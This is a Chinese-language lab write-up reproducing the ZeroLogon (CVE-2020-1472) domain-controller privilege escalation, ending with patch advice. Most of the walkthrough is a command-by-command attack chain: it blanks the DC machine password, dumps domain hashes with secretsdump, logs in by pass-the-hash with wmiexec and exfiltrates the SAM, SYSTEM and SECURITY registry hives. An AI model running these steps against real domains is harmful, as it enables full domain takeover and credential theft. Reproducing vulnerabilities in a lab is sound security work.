CVE-2020-1472 域内提权漏洞复现

漏洞概述

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的Netlogon 安全通道时,存在权限提升漏洞。成功利用此漏洞,攻击者可以在网络中的设备上运行经特殊设计的应用程序。要利用此漏洞,未通过身份验证的攻击者需要将 MS-NRPC连接到域控制器,以获取域管理员访问权限,从而造成提权。 (漏洞编号:HWPSIRT-2020-18310)

影响范围

· Windows Server 2008 R2 for x64-based Systems Service Pack 1

· Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

· Windows Server 2012

· Windows Server 2012 (Server Core installation)

· Windows Server 2012 R2

· Windows Server 2012 R2 (Server Core installation)

· Windows Server 2016

· Windows Server 2016 (Server Core installation)

· Windows Server 2019

·Windows Server 2019 (Server Core installation)

· Windows Server, version 1909 (Server Core installation)

· Windows Server, version 2004 (Server Core installation)

复现漏洞

复现环境

目标机:

​ 域内DC:Windows Server 2019 Standard

​ IP:192.168.226.200

​ 计算机名:DC

攻击机:

​ Kali 2021.2

​ IP:192.168.226.131

需要的脚本/工具

​ ZeroLogon测试脚本(验证漏洞是否存在):https://github.com/SecuraBV/CVE-2020-1472 需要Python ≥ 3.7

​ Python模块impacket:https://github.com/SecureAuthCorp/impacket 使用 setup.py install 来安装,若之前安装过,却无法使用可以使用 pip3 uninstall impacket 来卸载

​ zerologon工具利用+恢复密码:https://github.com/risksense/zerologon

复现过程

  1. 首先使用ZeroLogon测试脚本来验证下目标机是否存在该漏洞
1
2
3
python3  zerologon_tester.py  目标计算机名  目标IP
例如:
python3 zerologon_tester.py DC 192.168.226.200

验证漏洞是否存在

  1. 使用zerologon工具将域控密码置换为空
1
2
3
python3  set_empty_pw  目标计算机名  目标IP
例如:
python3 set_empty_pw DC 192.168.226.200

密码置空

​ 注意:密码置换为空可能会导致脱域,实战中三思而后行

  1. 使用impacket中的secretsdump.py脚本
1
2
3
python3  secretsdump.py  域/目标计算机名/$@目标IP  -just-dc  -no-pass
例如:
python3 secretsdump.py zbc.com/DC/$@192.168.226.200 -just-dc -no-pass

DC账户密码为空

  1. 使用impacket中的wmiexec.py脚本进行横向连接
1
2
3
python3  wmiexec.py  域/administrator@目标IP  -hashes  administrator账号的哈希值
例如:
python3 wmiexec.py zbc.com/administrator@192.168.226.200 -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942

横向连接

​ 此处若一切输入正确,确无法连接,则可能已经发生脱域,可以把域名去掉连接试试

1
python3  wmiexec.py  administrator@192.168.226.200  -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942
  1. 恢复密码,备份注册表,并保存到本地,保存后删除备份的注册表
1
2
3
4
5
6
7
8
9
reg save HKLM/SYSTEM system.save
reg save HKLM/SAM sam.save
reg save HKLM/SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save

导出

​ 保存的文件在wmiexec.py脚本同一目录下

导出位置

使用secretsdump.py脚本解析保存到本地的注册表备份

1
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

恢复1

​ $MACHINE.ACC:plain_password_hex:后的值为下一步恢复密码需要的值

  1. 使用zerologon中的reinstall_original_pw.py脚本恢复密码
1
2
3
python3  reinstall_original_pw.py  目标计算机名  目标IP  之前获取的hash
例如:
python3 reinstall_original_pw.py DC 192.168.226.200 6d3d5fb71d3ea7b5a1f50b59768fe0da9c95f5fdf759d9db80559abac743a77b979677ad7b618ec9373bb49d0acc3708e59540b2e43fc24661e4aca71511f0789018b434c38b9e6c763865c1e308e2e9b63b1ca126c33e197f59ae14c3f0115fcd66fd4a88a5340f0546758f27de9261525a6d008cfe53271bd1d26ffe1af6c6e2ac59a32bb1cdf566ae80e57feabd4504e8a81f35668cce840ec26b3c576ae8177f47aa4477387b8aa438f8bca3f27a0d7044caae90aa9177beac0e8b5f0e9a63d0715b5be4cba5d5ffd5dacef3a32e05c7cbc1dc48f5292eafe27bbdc81376e7a2c713e009b1dd6f7e5ec7ec417d12

恢复2

  1. 重复第3步,验证下是否恢复成功

抓不到了

修复建议

  1. 更新版本或下载微软官方提供的补丁

    https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472

  2. 开启的 DC 的强制模式

参考资料

https://msrc.microsoft.com/update-guide/zh-CN/vulnerability/CVE-2020-1472